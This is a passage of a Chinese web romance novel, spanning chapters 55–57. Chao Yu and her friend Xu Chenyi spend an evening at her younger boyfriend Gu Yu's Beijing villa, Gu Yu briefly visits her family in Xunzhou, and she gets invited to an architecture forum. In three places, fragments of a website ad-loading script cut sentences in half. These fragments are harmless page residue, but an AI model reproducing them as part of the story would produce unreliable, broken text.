晁雨跟山大王一样靠在沙发上,手悬在半空一指他:“虽然我们现在谈……” 哎哟喂,她一个二十七岁的人了,以前跟明恒宇那一段更像老干部相亲。 现在真要她说“谈恋爱”三个字,怎么还有点不好意思说出口。 辜屿还那么瞟着她,唇角隐隐十分浅淡地上挑。 晁雨心一横:我一老姐姐,还真能在弟弟面前害臊咯? 她清清嗓子:“虽然我们现在谈恋爱,但你可不许干涉我和我姐们儿一起过生日!” 过去八年,她的每个生日都是跟许辰懿一起过的。 辜屿放下平板从沙发站起来,往玄关方向走。 晁雨树袋熊一样拖住他手腕:“怎么,还真吃醋了啊?往哪跑?” “去工作。” “啊?” “我晚上出去工作,把这儿留给你们。” “哦。”晁雨虚虚松开他手腕:“那还行,你还挺大气,没吃醋,不像有些男的……” 辜屿一手摁在她头顶,不让她把话说完:“其实生了。” 之后便去玄关换鞋出了门。 难怪这人洗完澡就换了外出的衣服,晁雨还当他害羞。 晁雨一个人躺在沙发上,拿手机玩了会儿扫雷,这毛病是被九叔传染的。 许辰懿就风风火火地给她打电话了,电话那端还能听见九厘米高跟鞋踩得啪嗒啪嗒的:“你在哪儿呢?我忙完了,现在来找你!” 晁雨报出地址。 许辰懿愣了。 北京的奢豪小区她门儿清啊!晁雨报的那小区房价多少钱一平啊,奋斗十年都买不起个厕所那种! 她脑子一转反应过来:“你在辜……” 她正往停车场走,估计身旁有人经过,便换了个称呼:“你在二狗弟弟家?” “嗯。”晁雨应道:“来了再说。” 许辰懿又风风火火开车去了。 好家伙,小区门岗保安逮着她这一通盘问,恨不得把她祖宗十八代查一遍。想想也是,这小区里住多少名人啊,光许辰懿知道的就有好几个。 许辰懿找到辜屿家的别墅,没等她摁门铃,晁雨笑盈盈拉开门。 “你知道我刚才瞧见谁了?”许辰懿双眼瞪得像铜铃,报出个一线女演员的名字。 “她遛狗呢!豆柴!脾气挺好的还冲我笑,也不像网上传的那么跋扈啊。”许辰懿一边换鞋一边絮絮叨叨。 一看拖鞋,标签还在:“待遇这么高呢?还特意给我新买一双拖鞋,你直接拿以前的客用拖鞋得了呗。” 晁雨伸脚给她看自己的拖鞋:“我这也是新的。” 从前辜屿家什么都没有。 像一片隔绝了任何人的禁地。 许辰懿咂着嘴往屋里进,絮絮叨叨念着:“有生之年啊,有生之年!” 想不到她还能进这样的小区一探究竟。 说着又跟老佛爷一样往沙发上一摊,双臂打横压着沙发靠背,斜眼瞟着晁雨:“老实交代吧!怎么回事啊你俩。” 晁雨不知是不是心虚,坐到她旁边,未语先笑。 许辰懿抬手捂住自己的眼:“你别跟我这么笑!你这么一笑,我都能看出你俩刚才有多没羞没臊!” 晁雨:“那些招式不是你教的吗?” 许辰懿:“嘿!” 晁雨经不起许辰懿逗,便换了个方向,试图用魔法打败魔法。 她把自己怎么来找辜屿的经过说了,又把自己和辜屿的那番对话说了,许辰懿默默无言对她比了个大拇指。 晁雨问:“你生气么?” “我生什么气?” “你提醒过我很多次,不要跟辜屿弟弟这样的人在一起。那会很累,也会很难。” 许辰懿笑了笑。 在她笑的瞬息里,晁雨不知怎地好似看到她拖着行李箱从洵州离开的那时,背影那么薄。 许辰懿抬手理了理晁雨的头发:“我不是跟你说过,我时不时会有阴暗的想法冒出来么?” “你不知道,其实我常常会想,要是世界上没你这么个人就好了。” 晁雨一怔。 许辰懿继续理着晁雨的长发,像要给指间找点事情做似的,盯着那发梢:“你看着精明,其实有时候傻乎乎的你知道吧?比如你非要做那些费力不讨好的设计项目,比如你非要跟辜屿这样的人在一起。” 许辰懿说着笑笑:“你知不知道,每次你犯傻的时候,我都很嫉妒你?我总会想,要是我在你那么个温暖的家庭长大,我会不会也有那样的勇气。” 许辰懿端起桌上的一杯白水,括弧,这杯子也是她到之前、晁雨刚去买的: “敬傻子。” 许辰懿抿一口放下水杯,揉着自己的胃:“这么大一豪宅连瓶可乐都没有,辜屿弟弟这也过得太寡了。我跟你说我开了一天会,可是饿着肚子过来的。” “哦。”晁雨站起来拖她的手:“晚饭已经送来了,我们去吃。” 两人走到饭厅,大理石餐桌上妥妥帖帖放着保温打包袋。 许辰懿却先被那三层的蛋糕吸引了眼神:“怎么着?这是直接要结婚呐?” “……”晁雨:“就是补昨天的生日蛋糕。” 许辰懿啧啧两声:“有钱弟弟就是财大气粗。” 其实晁雨也觉得辜屿有些用力过猛。就算她万里迢迢拎过来那蛋糕坏了,要补一个,怎么就补了个三层巨大的。 许辰懿问:“晚饭吃啥?我饿得能吃下一头牛。” “粤菜成么?”晁雨把一个个餐盒往打包袋外掏。 许辰懿帮她一起:“成,太成了。” 吃了会儿,许辰懿怒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而拍桌:“有钱人连外卖都能吃到这种水准的吗?我可要仇富了啊。” 晁雨:“这是食仙儿。” 许辰懿一愣。 食仙儿是北京目前最炙手可热的粤菜馆子,提前三两个月都不一定能排得上号。许辰懿好这一口,聊天的时候,絮絮叨叨跟晁雨提过好多次。 “凭什么就能给辜屿弟弟送外卖?”许辰懿怒问:“食仙儿是他开的啊?” “那倒不是。” “还好还好。”许辰懿拍拍胸口,不然她更得仇富。 晁雨添一句:“是他朋友开的。” 许辰懿要不是嘴里这口粥是用海参炖的,她能直接喷出来。 开饭馆的这位朋友姓丁名鷇音,就是那位桃花眼。 吃着饭晁雨忽然手机响。 低头一看,是葛洁。 晁雨吓得一哆嗦,接起来:“喂,妈。” “你在北京伐?” “在的呀。” “喔唷你这小囡,甩下句话就真跑北京去了,也不晓得打个电话回来报平安。我不担心的啊?” “错了错了。”晁雨主动认怂。 “你突然跑北京干嘛去啦?” 葛洁这么问,晁雨就不敢回答了。 她今早上头的时候觉得自己什么都敢跟葛洁讲,现在跟辜屿这事尘埃落定了,要让她开口跟葛洁说两人在一起了,她还真的有点怂。 小四岁、大名人、超级有钱。 哪一点甩出来对葛洁都是王炸,葛洁肯定一听就觉得这段感情稳定不了,瞬间跟她急。 许辰懿在一旁贼兮兮地笑,接过晁雨手里的手机:“喂,阿姨,您猜小雨到北京干嘛来了?” 晁雨拼命对许辰懿打手势。 “她呀——”许辰懿吊高了黄梅戏般的语调,看晁雨急得红了脸,话头一转:“来北京找我过生日来了,以前那么多年,每个生日不都是我俩一起过的么?” “嗨这孩子,这有什么不好明说的。”葛洁叮嘱一句:“那你们俩好好玩哦,提醒小雨记得明天回来上班哦,我们小地方工作不好找的。” 挂了电话,晁雨对许辰懿做一个拜服的手势。 什么是亲姐们儿?这就是亲姐们儿! 饭饱酒足,许辰懿摊在沙发上抚着自己的胃,晁雨跟她一起躺着,两人目空一切地望着天花板。 许辰懿叫一声:“小雨。” “嗯?” “我们都二十七了啊。” “是啊。” “你说我们的人生,会越来越好么?” 晁雨很想说“会的”,但这是许辰懿,是她家人一般最亲的人。于是她很轻地摇了摇头,坦诚说:“不知道。” 说完她忽然坐起身来。 许辰懿:“怎么?” “你先躺着,我出去看一眼。” 许辰懿在她身后问:“这么高端小区还能进贼啊?” 当然不是贼。 晁雨的鼻子灵,耳朵也灵,听到屋外有动静,绕过去,果然看到辜屿站在那里。 小区以侘寂风格布置出一片三角红枫,足边是淡色鹅卵石写意着枯山水,辜屿站在那里,大概拍完杂志回来的,脸上没妆,但头发抓过,肘弯间搭一件风衣,配隽朗眉目。 一个从失控盛夏走来的人,真真正正走入了晁雨的秋天。 晁雨向他走过去:“怎么不进去?” 他瞥晁雨一眼:“怕挨骂。” 这是不敢打扰晁雨和许辰懿,还会开玩笑了? 晁雨在他小臂上轻拍一下:“装吧你就。” 他轻一挑眉,扬扬下巴叫晁雨:“你先进去吧。” “你呢?” “我站会儿。” “不无聊?” “不会。” 晁雨笑一笑,就先进屋了。剩辜屿一人站在院落里,他很习惯这样站在夜色中,又或者说,这根本是他逃避世界、放松自我的方式,就好像在洵州的一个个夜晚,他站在毛家小院的门口一样。 只不过今天,又是不同的。 他站在这里,小区的景观灯打得很暗,在他足边堆出浅浅淡淡的浪。他垂沉的双眸望着屋内,透过微薄的遮光帘,能看到一盏影影绰绰的灯。 这好像是他回到这里,第一次的,有一盏灯在等着他。 55. 在一起02 晁雨回到屋内,许辰懿实在吃得太撑,还双手捧着胃瘫在沙发上出神。 见着晁雨,翘起兰花指在半空划个圆,冲晁雨虚虚一点,吊着嗓子唱了句黄梅戏:“她那里用眼来看我,我哪有心肠看娇娥——” 晁雨坐到她身边:“什么乱七八糟的。” 她眼尾在晁雨脸上兜一圈:“怎么样,出去看了有贼没?” “哪来的贼。” “没贼就好。”许辰懿终于舍得坐起来:“没贼姐们儿就跟你说点正经事。” “嗯,你说。” “你倒是认真点啊!”许辰懿拎着晁雨的肩让她坐正,点点自己手腕上并不存在的手表:“你看看现在这都几点了,你家弟弟怎么还没回来?” “我跟你说,既然决心要谈就好好谈,你看辜屿弟弟那小模样、那小身段、那小脑袋瓜子、那小钱袋子,哪一点不招人呐?况且现在也验证了,他也不虚,对吧?” 晁雨含笑:“嗯。” 许辰懿捞过手机看一眼:“真不早了,我得走了,毕竟你姐们儿我是只成熟的牛马了,不能耽误明天一早上班。” 晁雨挽着她胳膊陪她出去。 她一边絮絮叨叨地交代晁雨:“明儿你几点高铁,我去送你啊,别让你家辜屿弟弟篡我的位。” “还有,我跟你说的话,你放在心上听到没?别让你家弟弟在外面浪,你得管着……哎呀我去!” 许辰懿一抚胸口,瞪着别墅外站着的那人。 辜屿淡淡冲她一压下巴。 许辰懿摁着胸口,压低声问晁雨:“你家弟弟站那儿干嘛呢?喂蚊子啊?不对啊这入秋了也不剩什么蚊子啊。” 晁雨:“他怕打扰我们。” “哟!”许辰懿一拍巴掌:“这弟弟能处!” 晁雨挽着许辰懿的胳膊向辜屿走去。 许辰懿冲辜屿一抬手:“嗨,小图先生。” 这是辜屿在晁雨通讯录里的备注名。 晁雨一掐许辰懿的胳膊内侧,许辰懿偷笑。 晁雨跟辜屿说:“我去辰辰家睡。” 她这话一出,不仅辜屿抬了抬眼,甚至许辰懿都诧异得破了音:“你什么?” “就这么说了啊。”晁雨挽着许辰懿,低着头对辜屿:“那什么,你早点睡吧。” 又扯着许辰懿:“走走走。” 两人往许辰懿停车的方向走去,许辰懿一步三回头:“不是,你是真跟我走,还是钓鱼辜屿弟弟来追你啊?” “这算什么?小情侣的情趣玩法啊?” “情什么趣。”晁雨一边上车一边系好安全带:“我是真打算跟你回去睡。这么久不见,你不想我啊?不得跟我睡一张床聊一晚上啊?” 许辰懿一边发动车子一边说:“不对,我闻着味不对。我怎么觉得你是在躲你家弟弟呢?” “你躲什么?别是他还是有点虚,你怕自己失望吧?” 晁雨嘀咕了句,许辰懿没听清:“什么?” “我说,我的确是躲他,因为他太不虚了。” 许辰懿指着晁雨的鼻子:“你这是臭显摆!” 晁雨一拍她的手:“交通规则千万条,道路安全第一条。好好开车。” 晁雨想躲是真的。 她轻动一动自己的肩,辜屿留下的吻痕到现在还灼烫。弟弟体力惊人,她这老姐姐是折腾不动了。 竟到了有些害怕的程度。跑,她必须得跑。 于是既定的安排变成了,她和许辰懿睡了一夜,第二天辜屿送她去高铁站。 辜屿蒙着口罩问她:“躲我?” “没有啊。”晁雨睁着一双江南水乡养出的清润的眼,水灵灵的:“没有没有,没有的事。” 到了车站,辜屿华丽的品牌海报依然高悬。海报上的人,蒙着口罩就在她身边。 晁雨这次来连行李都没带,洗漱睡衣就用许辰懿的。这会儿手里空荡荡的也没个抓拿,抬起手来,在辜屿肩头戳了下:“那我走了啊。” 不是,那种腻歪的恋爱该怎么谈啊。 她也没经验呐。 辜屿蒙着口罩露出的一双眼也冷峻,这样的弟弟估计更没经验了。 但这样的弟弟说:“抱一下。” 晁雨惊了—— 很会嘛! 火车站永远人来人往,上演着各种团聚重逢。晁雨有些不好意思,充满礼节性地搂一搂辜屿。 辜屿伸手环住她的腰,往自己怀里一带。顿时他身上特殊的冷香气,扑了晁雨满怀。 晁雨微踮着脚跌进他怀里,又被他轻轻放开。 晁雨半低着头,转身:“走了啊,真的走了,赶不上车了。” 一路匆匆,直到上了高铁,才把手机掏出来。 窗玻璃在手机屏上凝出块小小光斑,晁雨点开与辜屿的对话框,拇指摩挲了下。 打字:[回去了吗?] 又一个字一个字删掉。 有点没话找话。 她收起手机望着窗外,景致由北方的疏朗到南方的端秀,是个渐变流淌的过程。 晁雨发现自己真正想问的是:我们什么时候再见面? 你什么时候回洵州? 在一起的时候躲着,初初分开了又开始想念。不是,刚开始谈恋爱的人都这么神经病的吗? 这时许辰懿打来电话:“上车了吗?” “上了。” “我仔细想了想,你下次来北京可不能再住我家了。” “为什么?” “我现在对你和辜屿弟弟看好点了。但咱们都是成年人了嘛,愿望上盼着能有好结果,心态上也不能把恋爱这事看得太重,都行、随缘、由它去。万一有天分了,你也别太难过。” 晁雨刚想说:这就是亲姐们儿,好一番肺腑之言。 许辰懿话锋一转:“所以在一起的时候,你就得多睡辜屿弟弟几次,好好地睡、用力地睡、翻过来覆过去地睡。这样有一天万一分了,你也算回本了。” “许!辰!懿!” 许辰懿张狂地大笑三声,挂了电话。 高铁载着晁雨一路南下,回到了自己的家。 悠长的下午还剩个尾巴,摇摇晃晃不肯离去。 葛洁和毛秀珍正悠闲坐在天井里吃枣。毛秀珍故 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意不把枣啃干净,往地上一丢,引来群鸟啄食。 毛秀珍看得挺乐呵:“这小胖鸟嘿!” 晁雨走过去问葛洁:“怎么没去摊上?” 葛洁:“我昨晚做了个梦,梦里有个白胡子老头,说我不能碰水。” 晁雨斜眼睨她:“你就是今天想偷懒吧。” 毛秀珍用脚勾过个小板凳:“雨丫头,过来坐。” 晁雨洗了手过去坐下,也捡起一颗枣。 天井里,灿金的夕阳照得人昏昏欲睡。枣脆脆地嗑在齿间,晁雨把手机掏出来看了眼—— 辜屿还是没给她发任何消息。 在火车站抱那么一下的时候,她还觉得弟弟真会。 现在又觉得,弟弟是真不行。 离做晚饭的时间尚有一会儿,葛洁阖着眼皮晒太阳,毛秀珍则是真的打起了呼噜。晁雨捏着那半颗枣,回想着昨天去找辜屿的一幕幕。 那的确算是她一生中最勇敢的瞬间了。 昨晚许辰懿问她:“我们的人生,接下来会更好么?” 她是真的不知道。 她第一次做这么冒险的事,对结果毫无把握的事。 忽地毛秀珍一睁眼,大惊失色道:“我睡了一整年么?” 什么乱七八糟的。 晁雨循着她视线往门口望去。 竟是辜屿站在那里。 毛秀珍连连拍着葛洁的手背:“我怎么看到二狗子了?是已经到明年夏天了,还是我出现幻觉了?” 晁雨仍望着门口。 辜屿站在南方近黄昏的光线中,比在北方看起来淡那么一点,模糊那么一点,温柔那么一点。 葛洁问辜屿:“二狗子?你怎么突然回来了。” 辜屿抬步迈进天井里来。 “在上海有工作。本来推了,想了想,还是来了。” “喔上海,离家里近吧?这就对了嘛,这么近,绕一点点路回家里看看嘛。”葛洁像一切和蔼又过分唠叨的长辈一样。 辜屿淡声答着她的话,听她招呼:“你坐呀,坐下吃点枣。” 他没看晁雨,晁雨也没看他,只是伸手勾过旁边一张小木凳,辜屿就顺势坐下了。 晁雨忽然想:像上学时班里有些什么暧昧不清的那对男女同学。 互相从不对视,甚至刻意回避。但老师把两人的名字同时写进[值日]那一栏时,全班都会默契地起哄起来。 夕阳晚斜,带着南方独有的温柔调子。 辜屿坐在小木凳上,身高腿长,背微微勾着,手里拈了颗枣,也没往嘴里送。 晁雨忽然舒展地伸了个懒腰,觉得柔暖的夕阳笼在身上舒服极了。 葛洁和毛秀珍絮絮说着闲话。辜屿趁她们不注意的时候,把自己指间的那颗枣,悄悄塞进晁雨掌心。 晁雨把枣喂进嘴,齿间脆脆的一声。 葛洁揉揉腿站起来:“该做晚饭去啦。” 街尾那头的木宅子里,已有袅袅炊烟升起。 这一瞬晁雨忽然很想回答许辰懿昨晚的问题—— 她想说,我们接下来的人生,会更好的。一定。 56. 在一起03 葛洁拔腿走去厨房前,忽地问晁雨:“你想什么呢?” 晁雨顺口回答葛洁:“想回本呢。” “回本?”葛洁狐疑问道:“回什么本?” 晁雨话一出口,恨不得咬掉自己舌头。 还好还好,辜屿不知道“回本”这说法的由来。 晁雨跟着葛洁走进厨房:“晚饭吃什么?” “面。” “你今天不是不能碰水么?” 葛洁瞥她一眼:“我做干拌面。” “那你煮面的水呢?”晁雨一指锅里:“不是水啊?” 葛洁:…… 晁雨噗嗤嗤地乐。她算看出来了,葛洁今天“偷懒”不去出摊,多半是跟她爸吵架了。 “乐什么乐!”葛洁抓了把干面往晁雨手里一塞:“你来煮。” “这可是你让我煮的啊。”晁雨往灶边走:“你敢吃我就敢煮。” 辜屿走进厨房:“我来吧。” “你这么勤快干嘛啊?想反衬我的懒惰啊?”晁雨心情正好,逮着谁跟谁贫。 辜屿没什么表情起伏:“不,我只是不想吃面煮成的粥。” 晁雨:…… 他怼晁雨的话和他一张冷淡面孔,形成强烈反差,连心里正别扭的葛洁也没绷住笑了。 “行吧二狗子,你去煮。阿姨还是比较相信你的手艺。” 四人一起吃完饭,辜屿跟毛秀珍回小院。 晁雨装得一本正经,连辜屿的背影都没看一眼。 葛洁一边看她洗碗,一边顺口问:“你说二狗子怎么突然跑回来了?他以前除了暑假可是从不回洵州。” 晁雨手一抖,手里的碗差点没磕出个缺。 “我哪儿知道。”她捏紧了碗,嘴里这样应道。 洗完碗,她想往毛家小院里去。 葛洁又在她身后问:“你干嘛去?” 嘶……父母一吵架,怎么就黏上她了呢? 她回头:“我不是在教毛奶奶画画么?我得看看去。” 晁雨可真佩服那些学生时代早恋的人。 她都二十七了,在长辈面前偷偷摸摸谈个恋爱依然觉得这么难,连独处时间都找不到。 真不知道早恋的同学们是怎么做到的。 晁雨走进小院,毛秀珍连画板都摆好了,直冲她招手:“小雨,教我画画来了?快来快来。” 晁雨:“呵、呵呵。” 葛洁今天还真够闲的,就隔条马路,她还能给毛秀珍打电话提前通报一声。 毛秀珍抽出画纸给晁雨看:“我可没偷懒啊,平时有在好好练习的。” 晁雨垂眸看了眼:“嗯,土豆画得有进步,能看出是精心栽培过的土豆。” “……这是葡萄!” 陪毛秀珍画了阵画,毛秀珍问晁雨:“你老往二狗子房里瞟什么?有事?” “没事啊。” 她能有什么事,呵呵。 在毛秀珍的“求知若渴”下,晁雨还真没找着借口去找辜屿。 她看了眼时间,扬起点音调:“我得去扫塔了。” 毛秀珍跟着站起来:“我跟你一起去。” 晁雨傻了:“你去干什么?” “写生。”毛秀珍把画板背到背上。 “……”晁雨:“那儿晚上光线不好,黑,可黑可黑。” 毛秀珍信心满满:“我属猫头鹰的。” 辜屿本已走出来倚在房门口,他身后是淡薄的光,听毛秀珍和晁雨这样说,又回房去把门关上了。 晁雨不得已带着毛秀珍去了劝宁塔。 晁雨开门的时候,毛秀珍问:“我真不能进去吗?” “不能。”晁雨语重心长:“我这两千五的月薪,是真禁不起扣。” 毛秀珍哼一声,在塔下有模有样地摆开画板。 晁雨扫完塔下来的时候,看见她的画板合上放在一边,闭着眼,对着劝宁塔神神叨叨念着什么。 “你干嘛呢?”晁雨走过去问。 “画不好,不画了。”毛秀珍指着劝宁塔:“我最近打麻将老输,这塔不是挺灵的么?我让它保佑保佑我。” 晁雨又带毛秀珍坐上回家的公交。 毛秀珍一脸严肃:“我觉得吧,我画起画来的比例、空间和结构还有点问题,你到我家来,我们再聊聊。” 晁雨一口血差点没喷出来。 就毛秀珍画的那些“土豆”,还比例?还空间?还结构? 正当这时,许辰懿给晁雨打来电话。 晁雨先是接起来,然后对着旁边的毛秀珍说了句:“毛奶奶,我接个电话。” 姐俩儿多默契啊,晁雨这么一说,许辰懿就懂了——旁边有人,有什么话得悠着点说。 许辰懿放低了音调:“你就用‘嗯’或‘不’回答我就行。平安到家了?” “嗯。” “辜屿弟弟跟你联系没?哎哟瞧我操这些闲心,生怕你们俩小学鸡不会谈恋爱。” “嗯。” “那他说没说你俩什么时候再见面?我跟你说,长期异地不可取。” “嗯。” “那什么时候见?” “嗯。” 许辰懿懵了:“你这‘嗯’是什么意思?” 她脑子转过弯来:“你的意思是你俩已经见了?卧槽,辜屿弟弟不会回洵州了吧?” “嗯。” “可以呀这——”许辰懿拖长语调:“那,回本了没?” “没。” “为什么?!” 晁雨忽然对旁边的毛秀珍说:“毛奶奶,你坐稳点。” 毛秀珍:??? 许辰懿秒懂:“毛奶奶缠上你了呗?没说的,交给姐们儿吧。” 许辰懿利落地挂了电话。一秒钟后,毛秀珍的手机响。 毛秀珍:“喂?” “毛奶奶。”许辰懿高亢的声调传来:“知道你打麻将为什么老输么?” 许辰懿打麻将那真是一把好手。晁雨之前就说过,许辰懿的好些合同都是在麻将桌上签回来的,并且她不让牌,纯打,把客户给打服。 毛秀珍听得眼冒精光,那叫一醍醐灌顶,顶礼膜拜,拜倒辕门。 下了公交,毛秀珍都没顾得上搭理晁雨,自顾自就往小院里走去了。 晁雨刚想给辜屿发微信,却发现葛洁披着件衣服、站在老宅门前等她。 一见她便冲她招手:“小雨,来。” “妈,有事?” “有啊!正等你呢。”葛洁热情挽住她胳膊:“今晚咱娘俩儿一起睡。” 晁雨傻了:“……啊?” 不得已,洗了澡,只得和葛洁一起躺下。 晁雨的一张木床一米来宽,是很古旧的木头了,床头雕着八仙拜寿的拙朴图样,一点不新潮,很久以前晁雨的奶奶说,这是给闺阁小姐睡的,讨的是仙福寿长的好彩头。 用得旧了,仙桃磨损了一半,露出里木更浅些的颜色来。 葛洁侧卧在她身侧,捏着把团扇,有一下没一下地拍在她胳膊上。 这是以前留下的习惯。以前木安街植被更密些,蚊虫也更多些,点蚊香也不顶用。团扇这样一下下,不仅赶蚊子,规律的节奏更是催眠。 在晁雨记忆里,小时候晁二柱身体不好,葛洁这样与她同睡的时候不多,但还是留下了馨暖的记忆。 葛洁打着扇:“小雨,你有没有喜欢的人?” 晁雨心里一跳:“啊?” “不是你上段恋爱那种。是另一种,心会砰砰乱跳的、真正的喜欢。” “干嘛这么问?” “我就是想啊,你这么大了,不会这方面还是一片空白吧。”葛洁摇着团扇:“那多遗憾。” 晁雨合理怀疑她妈在钓鱼她。 但她没有证据。 嘴里打着哈哈:“人生遗憾的事多了去了。” 母女俩絮絮聊着,直到葛洁终于沉沉睡去。 晁雨双眼瞪得像铜铃,刚准备悄悄起身溜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 走,葛洁的手在她后腰一拍:“起夜上厕所啊?赶紧回来。” 她妈一跟她爸吵架,怎么变得这么黏人! 这么折腾了两三次,葛洁问晁雨:“你是不是肾亏啊?” 晁雨:…… 等到葛洁终于睡实,无论晁雨怎么提醒自己不要睡,却也扛不住了。 等她一睁眼惊醒过来,窗外已天光大亮。 她腾一下从床上爬起来:辜屿已经要走了。 葛洁跟晁正声也不知怎么和好的,已跟晁正声出摊去了。饭桌上有留给晁雨的早饭,稀粥和桂花元宵,另配了水煮蛋。 其他不好打包,晁雨找了只袋子,装了两只水煮蛋出门。 辜屿果然等在那里,清早看上去也是眉目疏朗的清矍,应该是在等网约车。 晁雨背着手走过去。 不知为何,看见这样的辜屿,她又不想把手里的水煮蛋给他了。 挺土的,对吧。 她跟辜屿解释:“这次我真不是躲你。” “那上次是躲我?” 晁雨:…… 她这是刨了个坑把自己埋了。 她想问辜屿:“什么时候再见?” 跟回不回本没关系。 只是单纯的、纯粹的想见到你。 却问不出口。 辜屿也不说话,两人静静站在一片淡薄的晨曦中,周围是浓郁的桂香笼过来。 网约车远远开来,辜屿蒙上口罩。 这才对晁雨说:“我会尽快找时间再……” 他说到这里顿了顿。 在“再来”和“再回来”两个说法间犹豫了下。 最终他说:“我会尽快找时间再来。” 晁雨忽然握住他手腕:“我不是没信心。” 辜屿看着她。 “我不是对这段感情没信心。”网约车眼看要开过来了,晁雨飞快地说:“我只是不知道怎么跟我妈讲,你也晓得我妈那个人,你们都怕她,那我,我也怕她的嘛。” 辜屿问:“拿的什么?” “啊?” 辜屿挑挑下巴,示意晁雨藏在背后的那只手。 “哦……”晁雨这才慢吞吞把两只水煮蛋拿出来:“我想着你应该还没吃早饭,要吃吗?” 辜屿接过,车滑停在路边,他抬手在晁雨后脑揉了下,说道:“我也不是没信心。” 一手掌着车门,便要上车。 晁雨在他身后开口:“是‘回来’。” 他扭转眼眸。 晁雨解释:“你不是再来洵州,是再回来洵州。” “这里有人等你,你是‘回来’。” 辜屿轻不可闻地放出小口的呼吸来。 连在杀伐决断的棋局里都心率如常的人,好像只有跟晁雨待在一起,会有这样需要调整呼吸的瞬间。 他轻一点头,上车离去。 车轧着青石板路摇摇晃晃地开走。 晁雨在原地站了两秒,往家的方向走去。 古人说“我言秋日胜春朝”,这话是有道理的。虽然洵州看不到晴空一鹤排云上,但秋日的晨光格外通透,青石板路反射着阳光,路边的树叶灌木像被阳光洗过一遍,亮得晃人眼睛。 晁雨走过马路,才发现自己在小声的哼歌。她觉得这样的秋晨必须与人分享,不然着实可惜。 于是她给许辰懿打了个电话:“秋天的早晨挺美的哈。” 许辰懿懵了两秒,骂她:“你知道老娘昨晚几点睡的么?” 晁雨发现自己想分享的不只秋晨,于是她又说:“刚才我送辜屿弟弟走了,给他带了两颗水煮蛋。” 许辰懿一听她没什么大事,已打着呵欠躺回床上去了:“那他还是有点虚呗?” “啊?”晁雨没明白。 “不然你给他送两颗蛋干嘛?”许辰懿懒洋洋地说:“以形补形呗。” 晁雨反应过来以后—— “许辰懿!!!” 振飞了枝头的鸟。 57. 在一起04 今天周一,晁雨送完辜屿后去上班。 整理完当天的案卷后,把劝宁塔的修缮方案铺开。 九叔玩着扫雷瞥她一眼:“你说你费这劲干嘛?就算你真把方案磨出来,指望着它能带你回北京?” “算了吧,洵州是个小地方,连带着劝宁塔也不够有名。” 晁雨想了想:“劝宁塔就那么在那儿,也挺好的。” 九叔把眼镜往鼻梁上推了推,像要仔仔细细瞧她:“哟,不想赚钱啦?不想出名啦?” “想,不指望它。”晁雨的铅笔头点了点方案。 “那你老琢磨它干嘛?” “怎么说呢,因为劝宁塔是不会变的。” 刚刚晁雨和辜屿在路边等车,望向对面那成排的树,晨光透过渐黄的叶片,被风摇落成细碎的光斑,细响的声音如念一首散文诗。 很神奇的,那一瞬间,她突然发现时光原来是动态流淌的。 洵州在她印象里是凝固的,是因为她很多很多年里,只在冬天过年时回洵州了。 就像网上那句名言:人一旦上了大学,从此家乡只余冬夏,再无春秋。 等到工作以后忙起来,就连家乡的夏也不见了。 这样时光流淌的变化中,一定要有什么不变的,来锚定我们记忆中的家乡。 九叔哼一声,很不以为意的样子。 下班时,他哼着昆戏往外走,晁雨看着他背影,斑驳的棕色皮带上挂着那串钥匙,并没配上晁雨送他的那个小木塔钥匙扣。 走着走着九叔突然一转头,晁雨差点没跟他撞上。 晁雨猛退一步:“你干嘛?” “错了。” “什么?” “你的柱头阑额上安着普拍方,想当然了。虽然宋代以后的建筑开始普遍使用普拍方,但你细琢磨下,现存的唐和五代建筑里,大部分没用普拍方是怎么联系构件的。” 说完背着手,继续哼着“原来姹紫嫣红开遍,似这般都付与断井颓垣”走了。 晁雨站在原地细想了下。 回家路过木安街尾,辜屿离开了洵州,九叔又找了别的棋友,下得呼呼嘿嘿的,吹胡子瞪眼。 对方老头儿不满意:“老九,哪能悔棋呢?” “我这哪叫悔棋?”九叔来回摸着自己的光头:“棋子还没落棋盘上呢哪叫悔棋?” 男孩们离开洵州,毛秀珍的小院没了生意。她也懒得做饭了,时不时到晁家蹭一顿,这会儿趁着暮色阴凉,摇着蒲扇沿着青石板路溜达。 有老头儿叫她:“毛秀珍,来看老九下棋。” 毛秀珍眼一瞪:“说了八万遍让你们别乱点鸳鸯谱!他能配得上我?” 晁雨上前揽住毛秀珍的肩:“干嘛,还真生气了啊?不理他们,上我家吃面去。” 毛秀珍差点没把眼珠子瞪出来:“老九能配得上我吗?你记不记得我微信名叫什么?” 她生怕晁雨不记得,把手机掏出来怼到晁雨面前。 她的微信名是——[珍珍永远十八岁]。 晁雨战术性往后一仰:“记得,不用给我看了。” 毛秀珍哼一声把手机收回去:“老九每个月就那么点工资,全输在棋盘上,一点积蓄都没有。要是今晚下棋输了,他连吃晚饭的钱都没有,买包花生米配着他自己酿的老黄酒就对付了。” 晁雨数度怀疑过,九叔会不会就是祝境鹤。 听到这里又觉得不可能。 她拿到劝宁塔的修缮方案后,仔仔细细查过祝境鹤。发现原来祝境鹤和杜昱德师出同门,早年是师兄弟,只不过后来因理念不合而分道扬镳。 两人成名都早,杜昱德在国外酒庄都买了几座,就算祝境鹤甘当个一双布鞋走天下的草芥,积蓄应也颇丰,实在跟“穷”这个字扯不上关系。 晁雨又回头看一眼九叔。 九叔正抚掌大笑:“今晚的晚饭有着落了。” 晁雨勾唇笑笑。 她可真是想多了。 晁雨没等到辜屿回洵州。 她先有了个机会去北京。 这天早上,九叔把一个烫金的信封往她办公桌上一丢:“你去。” 这么精致的东西,出现在一片鸡鸭鹅毛和棉絮乱飞的办公室里可真新鲜。 晁雨垂眸一瞧,发现是份[年度人文建筑论坛]的邀请函。 她问九叔:“我们还够级别参加这个呢?” “抽的。”九叔已经打开了扫雷:“各地跟建筑有关的单位,轮流抽签,今年抽到我们了。” 晁雨问:“你为什么不去?” 九叔努努下巴:“你没看举办地址么?” 晁雨一看,在北京附近的一滨海度假村。 九叔:“吃的都是海鲜,我嘌呤高。” 晁雨:…… “我也不去,我留在家里做方案……”她把信封拆开随手翻了翻,忽然一个大转弯道:“……也做不出来,要不还是去吧。” 九叔瞥她一眼。 